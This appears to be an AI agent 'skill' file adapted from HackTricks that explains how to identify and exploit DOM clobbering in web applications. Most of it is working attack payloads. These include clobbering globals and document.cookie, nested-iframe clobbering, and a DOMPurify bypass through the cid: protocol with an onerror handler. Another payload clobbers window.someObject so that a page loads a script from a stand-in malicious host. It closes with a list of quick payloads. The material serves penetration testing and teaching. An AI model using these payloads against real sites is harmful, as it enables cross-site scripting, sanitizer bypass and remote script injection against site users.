Hacktricks-skills dom-clobbering
How to identify and exploit DOM Clobbering vulnerabilities in web applications. Use this skill whenever the user mentions DOM clobbering, ID/name attribute injection, global variable override, document.cookie manipulation, or any XSS technique involving HTML element attributes that can override JavaScript variables. Make sure to use this skill for any web security testing involving DOM-based vulnerabilities, especially when filters might be bypassable through attribute manipulation.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xss-cross-site-scripting/dom-clobbering/SKILL.MDDOM Clobbering
DOM Clobbering is a technique where HTML elements with
id and name attributes can override JavaScript global variables in the document context, potentially leading to security vulnerabilities.
Core Concept
When you add HTML elements with specific
id or name attributes, they create global variables in the JavaScript context that can override existing variables or properties.
Basic Clobbering
<form id="x"></form> <script> console.log(typeof document.x) // [object HTMLFormElement] </script>
Elements that can clobber globals with
attribute:name
,embed
,form
,iframe
,image
,imgobject
Controlling string values with anchor tags:
<a href="controlled string" id="x"></a> <script> console.log(x) // "controlled string" </script>
Advanced Techniques
Array and Object Attribute Clobbering
<a id="x"> <a id="x" name="y" href="controlled"> <script> console.log(x[1]) // "controlled" console.log(x.y) // "controlled" </script> </a> </a>
Deep Attribute Clobbering (3+ levels)
<form id="x" name="y"><input id="z" value="controlled" /></form> <form id="x"></form> <script> alert(x.y.z.value) // "controlled" </script>
Iframe-Based Deep Clobbering
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe> <style> @import "https://google.com"; </style> <script> alert(x.y) // "controlled" </script>
Note: The style tag gives the iframe time to render. Without it, you may get
.undefined
Multi-Level Iframe Clobbering
<iframe name="a" srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d name=e href=controlled><a id=d> name=d>' name=b>" ></iframe> <style> @import "https://google.com"; </style> <script> alert(a.b.c.d.e) // "controlled" </script>
Filter Bypassing
If a filter loops through node properties using
document.getElementById('x').attributes, you can clobber the .attributes property itself:
<form id="x"></form> <form id="y"> <input name="nodeName" /> </form> <script> console.log(document.getElementById("x").nodeName) // "FORM" console.log(document.getElementById("y").nodeName) // "[object HTMLInputElement]" </script>
Clobberable DOM properties:
,attributes
,tagName
,nodeName
, and moreparentNode
Clobbering Window Objects
Common JavaScript pattern:
var someObject = window.someObject || {}
Exploit:
<a id=someObject href=//malicious-website.com/malicious.js></a>
Vulnerable code example:
<script> window.onload = function () { let someObject = window.someObject || {} let script = document.createElement("script") script.src = someObject.url document.body.appendChild(script) } </script>
DOMPurify Bypass with cid: Protocol
<a id=defaultAvatar> <a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//"> </a>
The
cid: protocol doesn't URL-encode double-quotes, allowing runtime decoding to escape attributes.
Form Attribute Clobbering
<form name="cookie"><input id="toString"></form>
This overwrites the
attributes property, preventing sanitizers from accessing actual attributes.
Document Object Clobbering
You can overwrite
document.cookie, document.body, document.children, and even document.querySelector:
// Basic cookie clobbering document.write("<img name=cookie />") // Check the result document.cookie // <img name="cookie"> typeof(document.cookie) // "object" // More sanitizer-friendly approach document.write("<form name=cookie><input id=toString></form>")
Writing After Clobbered Elements
Using HTML Tag
<div style="display:none" id="cdnDomain" class="x">test</div> <p> <html id="cdnDomain" class="x"> clobbered </html> <script> alert(document.getElementById("cdnDomain").innerText) // "clobbered" alert(document.querySelector(".x").innerText) // "clobbered" </script> </p>
Using CSS to Hide Interference
<div style="display:none" id="cdnDomain">test</div> <p>existing text</p> <html id="cdnDomain"> clobbered </html> <style> p { display: none; } </style> <script> alert(document.getElementById("cdnDomain").innerText) // "clobbered" </script>
Using SVG Body Tag
<div style="display:none" id="cdnDomain">example.com</div> <svg> <body id="cdnDomain"> clobbered </body> </svg> <script> alert(document.getElementById("cdnDomain").innerText) // "clobbered" </script>
Using SVG ForeignObject
<div style="display:none" id="cdnDomain">example.com</div> <svg> <foreignobject> <html id="cdnDomain"> clobbered </html> </foreignobject> </svg> <script> alert(document.getElementById("cdnDomain").innerText) // "clobbered" </script>
Form Clobbering
Add new entries to forms using the
form attribute:
<textarea form="id-other-form" name="info"> ";alert(1);// </textarea> <button form="id-other-form" type="submit" formaction="/edit" formmethod="post"> Click to send! </button>
Button attributes for form manipulation:
,form
,formaction
,formmethod
,formtarget
,formnovalidateformenctype
Testing Checklist
- Identify clobberable variables - Look for JavaScript that uses
orwindow.variabledocument.variable - Check for filter bypasses - Test if
,.attributes
, etc. can be clobbered.nodeName - Test document properties - Try clobbering
,document.cookie
, etc.document.body - Test form submissions - Check if form attributes can be manipulated
- Test with sanitizers - Try bypassing DOMPurify and similar libraries
References
- PortSwigger: Hijacking Service Workers via DOM Clobbering
- PortSwigger: DOM Clobbering
- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.
Quick Payloads
<!-- Basic variable clobbering --> <a id="targetVar" href="malicious-value"></a> <!-- Cookie clobbering --> <form name="cookie"><input id="toString"></form> <!-- Filter bypass --> <form id="x"><input name="attributes"></form> <!-- Array clobbering --> <a id="arr"><a id="arr" name="0" href="value"></a></a> <!-- Deep clobbering --> <form id="a" name="b"><input id="c" value="x"></form> <form id="a"></form>